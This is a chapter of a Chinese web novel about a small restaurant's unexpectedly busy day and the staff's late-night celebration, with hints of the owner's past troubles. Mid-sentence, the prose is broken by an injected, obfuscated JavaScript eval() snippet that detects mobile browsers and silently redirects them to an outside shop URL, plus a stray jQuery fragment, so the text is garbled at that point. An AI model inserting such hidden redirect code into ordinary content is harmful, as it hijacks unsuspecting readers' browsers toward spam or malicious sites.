“没位置了。”
夏禾站在门口,第三次说出这句话。说完连自己都觉得有点陌生,因为这家店已经很久没说过这句话了。
中午十二点,店里坐满了。不仅坐满,门口还站着两拨等位的人。陆沉从后厨探出头:
“几桌了?”
“满了。”
夏禾回答。
“真的满了?”
“你要不要自己出来数数?”
陆沉愣了两秒,居然笑了。林深站在收银台后面打单,打印机吐纸的速度快得停不下来。来福被吓得躲进角落,看着满屋子陌生人一脸茫然——它可能也想不明白,为什么今天忽然来了这么多人。
事情开始于上午。科技园附近办了一场行业交流会,来了很多外地人。会场附近几家餐厅中午全部爆满,有人搜附近餐厅,有人顺着导航找过来,有人被门口宣传册吸引,有人纯粹是不想排队。总之,人忽然来了。十一点半第一波,十二点第二波,十二点半第三波。等林深反应过来的时候,店里已经坐满。
“二号桌加份牛肉。”
“七号桌催菜。”
“饮料没了。”
“寿喜锅还差一份。”
“谁点的鳗鱼饭?”
整个店乱成一团。陆沉声音都喊哑了,夏禾端着盘子满场跑,林深负责收银还要帮忙传菜。来福本来想跟着林深,结果差点被客人踩到尾巴,吓得夹着屁股跑回吧台,最后躲在收银台下面只露出一个脑袋。
下午一点半,最后一桌客人离开。夏禾直接瘫在椅子上:
“我要辞职。”
陆沉从后厨出来,满头汗:
“批准。”
“真的?”
“不发工资。”
“滚。”
林深靠在吧台边喝水,一口气喝掉半瓶,这才觉得自己活过来了。她低头看营业额,数字很漂亮,漂亮到有点不真实。陆沉也看见了,沉默几秒,把手机拿出来拍了一张。
“干嘛?”林深问。
“纪念。”
“像没见过钱一样。”
“最近确实没怎么见过。”
三个人同时笑起来,这种笑已经很久没有出现过了。
下午难得清闲,陆沉请大家喝奶茶。夏禾拿到奶茶的时候都愣了:
“你发财了?”
“高兴。”
“今天营业额还没到手。”
“先高兴再说。”
夏禾吸了一口:
“这才像你。”
陆沉看她:
“以前不像?”
夏禾沉默了一下:
“最近不像。”
空气忽然安静了一秒,谁都没接。陆沉低头喝奶茶,像没听见。可林深知道,他听见了。
其实以前的陆沉不是这样。以前他很爱热闹,朋友来吃饭直接免单,员工过生日买蛋糕,旅行的时候永远是第一个研究攻略的人,永远是最积极的人。而最近,他已经很久没这样笑过了。
傍晚的时候店里又来了一波客人,虽然没有中午夸张,但依旧不错。来福终于恢复了精神,开始在店里巡视领地。有个小女孩蹲下来摸它:
“它叫什么?”
“来福。”林深说。
“为什么叫来福?”
“因为小时候看起来傻。”
来福抬头看她,像听懂了。小女孩笑得不行:
“它现在也有点傻。”
来福继续看着她,一脸无辜。
晚上九点,最后一桌客人离开,打烊。卷帘门拉下来,整个世界忽然安静。夏禾开始算账,陆沉擦桌子,林深整理收银台,来福已经睡着了,累得连鸭子都没力气咬。账算完的时候夏禾忽然喊了一声:
“卧槽。”
“怎么了?”
“今天真赚了。”
陆沉接过账本看了很久,久到没人说话,然后忽然笑了——那种发自内心的笑,像很久以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691726|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前的陆沉。
“走。”他说。
“去哪?”
“吃夜宵。”
“你请?”
“我请。”
夏禾瞬间满血复活:
“老板万岁。”
半小时后三个人坐在烧烤摊,来福趴在桌子下面等着别人掉肉。夏禾举着啤酒:
“庆祝一下。”
林深下意识看向陆沉,心里紧了一下。陆沉看见她的眼神,停顿了一秒,然后拿起旁边的可乐:
“我喝这个。”
夏禾愣了一下,随即什么都没说,碰了一下杯子:
“也行。”
林深慢慢松了一口气。
夜风吹过来,烧烤摊闹哄哄的,周围全是聊天声。很久没有这样了,像生活忽然恢复正常,像所有坏事都暂停了一天。
回家的时候已经快十二点。来福在后座睡得四仰八叉,夏禾靠着车窗发呆,街上没什么车,路灯一盏一盏向后退。陆沉开着车,心情明显不错,甚至还跟着广播里的老歌哼了两句。林深坐在副驾驶看着窗外,忽然觉得,如果以后都这样,好像也不错。
车开过科技园,整栋办公楼已经熄灯,只剩零星几个窗口还亮着。陆沉忽然开口:
“今天挺好的。”
“嗯。”
“好久没这么好了。”
“嗯。”
沉默了一会儿,陆沉看着前面的红灯轻声说:
“要是天天这样就好了。”
车里忽然安静下来,没人接话。红灯变绿,车继续往前,路灯把影子拉得很长。林深看着窗外不断后退的街景,不知道为什么忽然想起父亲当年拿红笔圈满的那份合同,想起张哥说的那句话,想起那些晚上空荡荡的桌椅。今天很好,真的很好。可她心里忽然有一种说不出的感觉,像捡到一张快要过期的彩票。
后视镜里,陆沉还在笑。来福睡得很香,夏禾低头玩手机。一切都很好,好得不像真的。